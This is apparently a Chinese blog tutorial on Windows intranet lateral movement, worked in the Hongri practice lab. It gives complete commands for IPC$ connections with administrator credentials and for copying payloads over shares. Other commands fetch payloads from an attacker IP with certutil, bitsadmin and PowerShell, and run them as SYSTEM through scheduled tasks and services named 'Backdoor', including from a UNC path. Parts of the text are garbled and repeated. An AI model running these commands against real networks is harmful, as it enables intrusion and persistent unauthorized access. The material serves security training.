11月4日(内网横向移动(一))

以下环境采用的是红日靶场一;

横向移动中的文件传输

通过网络共享

执行以下命令:

plain 复制代码
net share

获得 Windows系统默认开启的网络共享,其中C 为 C 盘共享, A D M I N 为C盘共享,ADMIN 为C盘共享,ADMIN为系统目录共享,还有一个是IPC$共享。IPC(InternetProcess Connection是共享"命名管道"的资源,为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

利用当前所控主机与内网中的其他远程主机建立的网络共享连接,测试人员可以访问远程主机上的资源,如直接查看远程主机目录、在两台主机之间复制文件、读取远程主机上的文件等。而实战中往往会建立IPCS连接。因为通过IPC$连接,不仅可以进行所有文件共享操作,还可以实现其他远程管理操作,如列出远程主机进程、在远程主机上创建计划任务或系统服务等,这在进行内网横向移动中起着至关重要的作用.

建立 IPC$连接需要具备以下两个条件:① 远程主机开启了 IPC 连接;② 远程主机的 139 端口和 445 端口开放。

执行以下命令,与远程主机建立IPC连接:

plain 复制代码
net use \\192.168.52.138\IPC$ "Admine123" /user:"Administrator"

此时,执行以下命令,可以成功列出远程主机的C盘共享目录,

plain 复制代码
dir \\192.168.52.138\C$

使用"copy"命令,可以通过共享连接向远程主机上复制文件,也可以将远程主机上的文件复制到本地,但需要注意当前用户对远程目录的权限。例如,将一个二进制程序复制到远程主机的 C盘目录中。实战中可以将攻击载荷上传到远程主机,然后通过其他远程执行的方法来运行,如创建远程计划任务或服务等。

plain 复制代码
copy .\payload.exe \\192.168.52.138\C$

建立其他共享连接的命令与 IPC 连接的命令相同,需要指定远程主机的 I P 或主机名、盘符、用户名和密码。例如,连接远程主机的 C 连接的命令相同,需要指定远程主机的 IP 或主机名、盘符、用户名和密码。例如,连接远程主机的C 连接的命令相同,需要指定远程主机的IP或主机名、盘符、用户名和密码。例如,连接远程主机的C共享:

plain 复制代码
net use 192.168.52.138\C$ "Admin@123" /user:"Administrator"

搭建SMB服务器

SMB(Server Message Block,服务器消息块),又称 CIFS(Common Internet File System,网络文件共享系统),由微软开发,基于应用层网络传输协议,主要功能是使网络上的计算机能够共享计算机文件、打印机、串行端口和通新等资源。SMB 消息一般使用 NetBIOS 协议或 TCP 发送,分别使用端口 139 或 445,目前倾向于使用 445 端口。

实战中可以在测试人员自己的服务器或当前所控内网主机上搭建 SMB 服务器,将需要横向传输的文件如攻击载荷等放入 SMB 服务器的共享目录,并指定UNC 路径,让横向移动的目标主机远程加载 SMB 共享的文件。注意,需使用SMB 匿名共享,并且搭建的 SMB 服务器能够被横向移动的目标所访问到。

执行以下命令,即可在搭建一个名为 evilsmb;共享目录指向 /root/share 的 SMB名共享:

plain 复制代码
mkdir /root/share
python smbserver.py evilsmb /root/share -smb2support

对于 Windows 系统,如果已经获取管理员权限,可以手动配置 SMB 匿名共享,也可以通过 Invoke-BuildAnonymousSMBServer在本地快速启动一个匿名共享。

通过Windows自带工具

Certutil

Certutil 是 Windows 自带的命令行工具,用于管理 Windows 证书并作为证书服务的一部分安装。Certutil提供了从网络中下载文件的功能,测试人员可以在远程主机上执行Certutil 命令,控制其下载预先部署在可控服务器上的恶意文件,如攻击载荷等。

执行以下命令:

plain 复制代码
certutil -urlcache -split -f http://125.217.52.215:80/payload.exe C:\reverse_tcp.exe

通过 Certutil下载shell.exe,并将其保存到 C:\reverse tcp.exe。

BITSAdmin

Bitsadmin 是一个 Windows 命令行工具,可以用于创建、下载或上载作业,监视其进度。Windows7及以后版本的系统自带Bitsadmin工具。执行以下命令:

plain 复制代码
bitsadmin /transfer test http://IP:Port/shell.exe C:\reverse_tcp.exe

创建一个名为 test 的 Bitsadmin 任务,下载 shell.exe 到本地,并将其保存到 C:\reverse_tcp.exe。

PowerShell

参考 PowerShell 远程加载执行的思路,可以通过创建 WebClient 对象来实现文件下载。

执行以下命令:

plain 复制代码
(New-object Net.Webclient).DownloadFile('http://IP:Port/shell.exe','C:\reverse_tcp.exe')

创建计划任务

常规利用流程

测试人员可以通过已有的 IPC 连接,在远程主机上创建计划任务,让目标主机在规定的时间点或周期内执行特定操作。在拥有对方管理员凭据的条件下,可以通过计划任务实现横向移动。

① 利用已建立的共享连接向远程主机(192.168.52.138)上传攻击载荷。

② 利用已建立的 IPC 连接或指定用户凭据的方式在远程主机上创建计划任务。执行以下命令:

plain 复制代码
schtasks /Create /S 192.168.52.138 /TN Backdoor /SC minute /MO 1 /TR C:\reverse_tcp.exe /RU System /F
# /S,指定要连接到的系统;	/TN,指定要创建的计划任务的名称;	/SC,指定计划任务执行频率
# /MO,指定计划任务执行周期;	/TR,指定计划任务运行的程序路径;	/RU,指定计划任务运行的用户权限
# /F,如果指定的任务已经存在,则强制创建

在远程主机上创建一个计划任务,每分钟执行一次上传的攻击载荷.

plain 复制代码
schtasks /RUN /S 192.168.52.138 /I /TN Backdoor

立即启动该计划任务即可获取远程主机(192.168.52.138)的权限,也可以等待计划任务自行启动。

由于内网主机(192.168.52.138)无法访问外网,这里我们采用iox的流量端口转发;

不懂iox可以看一下前面的文章。

执行以下命令,将创建的计划任务删除;

plain 复制代码
schtasks /Delete /S 192.168.52.138 /TN Backdoor /F

也可以通过创建计划任务在远程主机上执行系统命令,并将执行结果写入文件,然后通过 type 命令进行远程读取。

plain 复制代码
schtasks /Create /S 192.168.52.138 /TN Backdoor /SC minute /MO 1 /TR "C:\Windows\System32\cmd.exe /c whoami > C:\result.txt" /RU System /F
plain 复制代码
type \\192.168.52.138\C$\result.txt	#读取执行结果

UNC路径加载执行

Windows 系统中使用 UNC 路径来访问网络共享资源,格式如下:

plain 复制代码
\\servername\sharename\directory\filename

其中,servername是服务器主机名,sharename是网络共享的名称,directory和filename分别为该共享下的目录和文件。

在远程主机上攻击载荷时,可以直接使用UNC 路径代替常规的本地路径,让远程主机直接在测试人员搭建的SMB 共享中加载攻击载荷并执行。这样可以省去手动上传攻击载荷的步骤。

执行以下命令,在远程主机(192.168.52.138)创建计划任务,使用UNC路径加载位于192.168.5.129共享中的攻击载荷并执行

plain 复制代码
schtasks /Create /S 192.168.52.138 /TN Backdoor /SC minute /MO 1 /TR "\\192.168.5.129\evilsmb\payload.exe" /RU System /F

启动后,远程主机成功上线。由于内网主机无法上外网,所以无法本地实现,但是边缘服务器可以。

利用系统服务

创建远程服务

除了创建计划任务,测试人员还可以通过在远程主机上创建系统服务的方式,在远程主机上运行指定的程序或命令。该方式需要拥有两端主机的管理员权限和IPC$连接,具体操作如下。

1、利用已建立的共享连接向远程主机(192.168.52.138)上传攻击载荷。

2、利用已建立的IPC连接在远程主机上创建系统服务。执行以下命令

plain 复制代码
sc \\192.168.52.138 create Backdoor binpath= "cmd.exe /k C:\payload.exe"
# binpath,指定服务启动时运行的二进制文件,注意"="后需要有一个空格

在远程主机上创建一个名为 Backdoor 的系统服务,服务启动时将执行上传的攻击载荷.

3、执行以下命令;

plain 复制代码
sc \\192.168.52.138 start Backdoor

立即启动该服务,此时虽然提示错误,但是已经成功获取了远程主机的权限.

4、攻击成功后,将创建的服务删除。

plain 复制代码
sc \\192.168.52.138 delete Backdoor
相关推荐
Yawesh_best6 小时前
告别系统壁垒!WSL+cpolar 让跨平台开发效率翻倍
运维·服务器·数据库·笔记·web安全
Ccjf酷儿9 小时前
操作系统 蒋炎岩 3.硬件视角的操作系统
笔记
习习.y9 小时前
python笔记梳理以及一些题目整理
开发语言·笔记·python
在逃热干面10 小时前
(笔记)自定义 systemd 服务
笔记
DKPT11 小时前
ZGC和G1收集器相比哪个更好?
java·jvm·笔记·学习·spring
QT 小鲜肉12 小时前
【孙子兵法之上篇】001. 孙子兵法·计篇
笔记·读书·孙子兵法
星轨初途13 小时前
数据结构排序算法详解(5)——非比较函数:计数排序(鸽巢原理)及排序算法复杂度和稳定性分析
c语言·开发语言·数据结构·经验分享·笔记·算法·排序算法
QT 小鲜肉14 小时前
【孙子兵法之上篇】001. 孙子兵法·计篇深度解析与现代应用
笔记·读书·孙子兵法
love530love16 小时前
【笔记】ComfUI RIFEInterpolation 节点缺失问题(cupy CUDA 安装)解决方案
人工智能·windows·笔记·python·插件·comfyui
愚戏师16 小时前
MySQL 数据导出
数据库·笔记·mysql